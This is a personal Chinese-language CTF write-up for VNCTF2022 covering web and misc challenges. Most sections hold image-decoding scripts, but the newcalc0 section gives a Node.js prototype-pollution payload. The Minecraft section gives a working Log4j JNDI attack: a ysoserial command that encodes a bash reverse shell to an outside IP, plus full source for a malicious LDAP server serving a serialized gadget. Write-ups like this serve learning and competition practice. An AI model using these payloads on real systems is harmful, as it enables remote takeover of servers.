VNCTF2022 个人wp

祝vn,wm战队发展越来越好,开写

WEB

GameV4.0

签到

F12然后源代码里面找就行,data.js存放关卡数据,拉到底,base64解密,getflag

不贴图了

gocalc0

进去,看flag,看session,复制,两次base64

image-20220212201401454

newcalc0

const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
const e = req.body.e;
if (!e) {
  res.send("wrong?");
  return;
}
try {
  res.send(vm.run("module.exports="+e)?.toString() ?? "no");
} catch (e) {
  console.log(e)
  res.send("wrong?");
}
});

app.use("/flag", (req, res) => {
if(Object.keys(Object.prototype).length > 0) {
  Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
  res.send(process.env.FLAG);
} else {
  res.send(Object.keys(Object.prototype));
}
})

app.use("/source", (req, res) => {
let p = req.query.path || "/src/index.js";
p = path.join(path.resolve("."), path.resolve(p));
console.log(p);
res.sendFile(p);
});

app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

虽然我不会node,但是这题好巧不巧前段日子偷题(bushi)的时候刚好看到过类似的题目

DiceCTF 2022 文章 (brycec.me)

跟这个基本一模一样,都是在vm中运行代码不能逃避沙箱,所以就直接原型链的cve打进去

January 10th 2022 Security Releases | Node.js (nodejs.org)

console.table([{x:1}], ["__proto__"]);

访问flag就行了

MISC

仔细找找

放大,缩略图,经典,但是这有点搞人,写了脚本一把梭不出来,ps查了一下点位间隔还不统一,手工查坐标然后写脚本就完了

from PIL import Image
import sys
import time
img = Image.open('flag.png')
c_x =[24, 74, 124, 173, 223, 272, 322, 372, 421, 471, 521, 570, 620, 669, 719, 769, 818, 868, 917, 967, 1017, 1066, 1116, 1166, 1215, 1265, 1314, 1364, 1414, 1463, 1513, 1563, 1612, 1662, 1711, 1761, 1811, 1860, 1910, 1960, 2009, 2059, 2108, 2158, 2208, 2257, 2307, 2356, 2406, 2456, 2505, 2555, 2605, 2654, 2704, 2753, 2803, 2853, 2902, 2952, 3002, 3051, 3101, 3150, 3200, 3250, 3299, 3349, 3398, 3448, 3498, 3547, 3597, 3647, 3696, 3746, 3795, 3845, 3895]
c_y= [15, 46, 77, 108, 139, 170, 201, 232, 263, 295, 326, 357, 388, 419, 450, 481, 512, 543, 574, 605, 636, 667, 698, 729, 760, 791, 822, 854, 885, 916, 947, 978, 1009, 1040, 1071, 1102, 1133, 1164, 1195, 1226, 1257, 1288, 1319, 1350, 1382, 1413, 1444, 1475, 1506, 1537, 1568, 1599, 1630, 1661, 1692, 1723, 1754, 1785, 1816, 1847, 1878, 1909, 1941, 1972, 2003, 2034, 2065, 2096, 2127, 2158, 2189]
print(len(c_x))
print(len(c_y))
pic = Image.new('RGB',(100,100),(255,255,255))
wight,height = img.size
print(wight,height)
#c_x=24
#c_y=15
for x in range(79):
 for y in range(71):
   tmp=img.getpixel((c_x[x],c_y[y]))
   pic.putpixel((x,y),(tmp))
#   tmp=img.getpixel((c_x,c_y))
   #print(c_x,c_y)
#   pic.putpixel((x,y),(tmp))
#   print(c_x,c_y)
#   if(c_x<3700):
#       c_x+=50
#   else:
#       break
# if(c_y<2000):
#   c_y+=31
#   c_x=24
# else:
#   break
       

pic.show()
image-20220213010217351

Strange flag

流量分析,跟踪流,两个关键信息

1.flag是个文件夹

2.一堆folder

图片[3]-VNCTF2022 个人wp-魔法少女雪殇

通过google搜索发现有这种语言,那么根据规则编译就行了

https://esolangs.org/wiki/Folders#Strings

规则是:子文件夹有文件是1,没有是0,两个一组十六进制,比如

image-20220212203312143

01110110 = v

以此类推获得vnctf{d23903879df57503879bcdf1efc141fe}

simple macos

想复杂了,有新意的题目。

两个目录,一个system和一个Users

这里我也看了一些相关macos题目,MVS2021CTF – WriteUp – iOS – NOT A KWEEN (wpcomstaging.com)

然后没下手点了,问了下出题人,得知了hint

然后这里就开始从文件入手,image-20220212203936227

摸到邮箱,非常好,找到给

图片[5]-VNCTF2022 个人wp-魔法少女雪殇

emlx,恢复后提示我们去寻找profile picture

image-20220212204132351

然后这里又找了半天,偷鸡法

image-20220212204409706

看时间,var时间比别的满,那就进行一个追查

image-20220212204447434

挨个查看,CryptoUserInfo.plist,里面有个图片的base64,解密后通过hint和邮件中反复出现的secret脑洞一下,猜测是用oursecret解密,失败了

img

010观察结尾存在后半段flag,删掉后解密123456,即可获得第一段flag

Minecraft

这题做题重要吗?不重要,什么重要,重要的是怎么开挂把其他玩家杀掉(x

解题:

作为佬mc玩家,之前就写过log4j的一键部署exp,这里不放了,反正常规的也接收不到,正常打只会接受普通的数据会弹,这里就不演示了

image-20220212205256245

放个关键段代码,问了一下🐏宝,环境是高版本java,搜了一遍,找到了几篇文章

[浅析高低版JDK下的JNDI注入及绕过 Mi1k7ea ]

JNDI 注入利用 Bypass 高版本 JDK 限制 – 天下大木头 (wjlshare.com)

当然还有团长的那个工具

Firebasky/LdapBypassJndi: The function of the tool is to inject JNDI through LDAP (github.com)

就是把上述文章的手工编译了,那就好办了,按照文章的来

生成cc6利用链

java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjcuMTE0LzgwMDQgMD4mMQo=}|{base64,-d}|{bash,-i}"|base64 -w 0

恶意jndi

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class exp2 {
  private static final String LDAP_BASE = "dc=example,dc=com";


  public static void main (String[] args) {

      String url = "http://127.0.0.1:8000/#EvilObject";
      int port = 8005;


      try {
          InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
          config.setListenerConfigs(new InMemoryListenerConfig(
                  "listen",
                  InetAddress.getByName("0.0.0.0"),
                  port,
                  ServerSocketFactory.getDefault(),
                  SocketFactory.getDefault(),
                  (SSLSocketFactory) SSLSocketFactory.getDefault()));

          config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
          InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
          System.out.println("Listening on 0.0.0.0:" + port);
          ds.startListening();

      }
      catch ( Exception e ) {
          e.printStackTrace();
      }
  }

  private static class OperationInterceptor extends InMemoryOperationInterceptor {

      private URL codebase;


      /**
        *
        */
      public OperationInterceptor ( URL cb ) {
          this.codebase = cb;
      }


      /**
        * {@inheritDoc}
        *
        * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
        */

      public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
          String base = result.getRequest().getBaseDN();
          Entry e = new Entry(base);
          try {
              sendResult(result, base, e);
          }
          catch ( Exception e1 ) {
              e1.printStackTrace();
          }

      }


      protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
          URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
          System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
          e.addAttribute("javaClassName", "Exploit");
          String cbstring = this.codebase.toString();
          int refPos = cbstring.indexOf('#');
          if ( refPos > 0 ) {
              cbstring = cbstring.substring(0, refPos);
          }

          // Payload1: 利用LDAP+Reference Factory
//           e.addAttribute("javaCodeBase", cbstring);
//           e.addAttribute("objectClass", "javaNamingReference");
//           e.addAttribute("javaFactory", this.codebase.getRef());

          // Payload2: 返回序列化Gadget
          try {
              e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDODBOeTR4TURBdU1qY3VNVEUwTHpnd01EUWdNRDRtTVFvPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
          } catch (ParseException exception) {
              exception.printStackTrace();
          }

          result.sendSearchEntry(e);
          result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
      }

  }
}

javac编译,前提是需要依赖unboundid-ldapsdk.jar

官网下载就行了

image-20220212205819349

随后nc监听端口,游戏内直接exp打过去

图片[12]-VNCTF2022 个人wp-魔法少女雪殇
image-20220212205949317

注意点就是编译那个exp,编译卡了一年,然后还有生成的bash反弹shell的代码也别写错,属实搞人呜呜。

prize wheel

抽奖轮盘,直接丢ida,看不懂,寄!

然后按了下2,额。。。貌似有几率能获得压缩包密码,然后就疯狂1回车

非常好运气。。。。

QQ截图20220212173208

解压后获得图片,这个图片卡了我114514个小时

image-20220213002446078

由图片可以看出来特别像旋转了一样,然后根据提示可以得知是通过参考点,图中的白色点比较多,所以这里以白色为参考点,每圈像素点进行旋转,让白色始终在中间位置即可

脚本:

package main

import (
"bytes"
"fmt"
"image"
"image/color"
_"image/color"
"image/png"
_ "image/png"
"io/ioutil"
"os"
)

func main(){
picsource := "./flag.png"
outsource := "./final.png"
ff, _ := ioutil.ReadFile(picsource) //读取文件

bbb := bytes.NewBuffer(ff)
m, _, _ := image.Decode(bbb)
bound := m.Bounds()
newRgba := image.NewRGBA(bound)
width := bound.Dx()
height := bound.Dy()

X:= width / 2
Y := height / 2
for count := 3;count <= width+1;count+=2{
//fmt.Printf("%d\n", count)
d := count/2

//print(h)
for i:=0;i<(count-1)*4;i++ {
fmt.Println(i)
X1 := X - d
Y1 := Y - d
tmp0 := m.At(width/2, Y-count/2)
r, g, b, _ := tmp0.RGBA()
r_uint8 := uint8(r >> 8) //转换为 255 值
g_uint8 := uint8(g >> 8)
b_uint8 := uint8(b >> 8)

fmt.Println(r_uint8, g_uint8, b_uint8)
if r_uint8 == 255 && g_uint8 == 255 && b_uint8 == 255 {
break
}

tmp1 := m.At(X1, Y1)
r1,g1,b1,_:=tmp1.RGBA()
for j:=0;j<count-1;j++{
tmp2 := m.At(Y1, X1+1)
r2,g2,b2,_:=tmp2.RGBA()
r2_uint8 := uint8(r2 >> 8) //转换为 255 值
g2_uint8 := uint8(g2 >> 8)
b2_uint8 := uint8(b2 >> 8)
newRgba.SetRGBA(X1, Y1,color.RGBA{R: r2_uint8, G: g2_uint8, B: b2_uint8, A: 255})
X1 += 1

}
for j:=0;j<count-1;j++{
tmp2 := m.At(Y1+1, X1)
r3,g3,b3,_:=tmp2.RGBA()
r3_uint8 := uint8(r3 >> 8) //转换为 255 值
g3_uint8 := uint8(g3 >> 8)
b3_uint8 := uint8(b3 >> 8)
newRgba.SetRGBA(X1, Y1,color.RGBA{R: r3_uint8, G: g3_uint8, B: b3_uint8, A: 255})
Y1 += 1


}
for j:=0;j<count-1;j++{
tmp2 := m.At(Y1, X1-1)
r4,g4,b4,_:=tmp2.RGBA()
r4_uint8 := uint8(r4 >> 8) //转换为 255 值
g4_uint8 := uint8(g4 >> 8)
b4_uint8 := uint8(b4 >> 8)
newRgba.SetRGBA(X1, Y1,color.RGBA{R: r4_uint8, G: g4_uint8, B: b4_uint8, A: 255})
X1 -= 1

}
for j:=0;j<count-2;j++{
tmp2 := m.At(Y1-1, X1)
r5,g5,b5,_:=tmp2.RGBA()
r5_uint8 := uint8(r5 >> 8) //转换为 255 值
g5_uint8 := uint8(g5 >> 8)
b5_uint8 := uint8(b5 >> 8)
newRgba.SetRGBA(X1, Y1,color.RGBA{R: r5_uint8, G: g5_uint8, B: b5_uint8, A: 255})
Y1 -= 1


}

newRgba.SetRGBA(X1, Y1,color.RGBA{R: uint8(r1), G: uint8(g1), B: uint8(b1), A: 255})

}
break
}

f, _ := os.Create(outsource)
defer f.Close()
png.Encode(f,newRgba)
}

python效率太低了,写了个go的,这里也扔个python的

from email.mime import image
from http.client import SWITCHING_PROTOCOLS
from select import select
from PIL import Image

img = Image.open('flag.png')

pic = Image.new('RGBA',(609,609),(255,255,255,255))

width=img.size[0]
height=img.size[1]

x = width // 2
y = height // 2


controler = [] #轨迹
#0上1下2左3右
controls = [3,0,2,1]
#print(width)

def turnoff():
   for num in range(3,width+1,2):
       #print(num)
       d = num // 2
       print(d)
       for i in range((num-1)*4):
           print(num)
           print(i)
           p_x = x - d
           p_y = y - d
           kx = width//2
           ky = y-num//2
           rgb = img.getpixel((kx,ky))
           print(p_x)
           print(p_y)
       
           if(rgb ==(255,255,255,255)):
               break
           for m in range(num-1):
               tmppic=img.getpixel((p_x+1,p_y))
               img.putpixel((p_x,p_y),(tmppic))
               p_x += 1
               controler.append(3)
               #print("循环1执行")
               #print("px:",p_y)
           for m in range(num-1):
               tmppic=img.getpixel((p_x,p_y+1))
               img.putpixel((p_x,p_y),(tmppic))
               p_y += 1
               controler.append(0)
               # print("循环2执行")
               #print("px:",p_y)
           for m in range(num-1):
               tmppic=img.getpixel((p_x-1,p_y))
               img.putpixel((p_x,p_y),(tmppic))
               p_x -= 1
               controler.append(2)
               #print("循环3执行")
               #print("px:",p_y)
           for m in range(num-2):
               tmppic=img.getpixel((p_x,p_y-1))
               img.putpixel((p_x,p_y),(tmppic))
               p_y -= 1
               controler.append(1)
               #print("循环4执行")
               #print("px:",p_y)
           img.putpixel((p_x,p_y),img.getpixel((p_x,p_y)))
       if d >30:
           break

       
#img.show()

turnoff()
img.save("assert.png")
img.show()

问卷

问卷,问卷,问卷

© 版权声明
THE END
喜欢就支持一下吧
点赞4 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情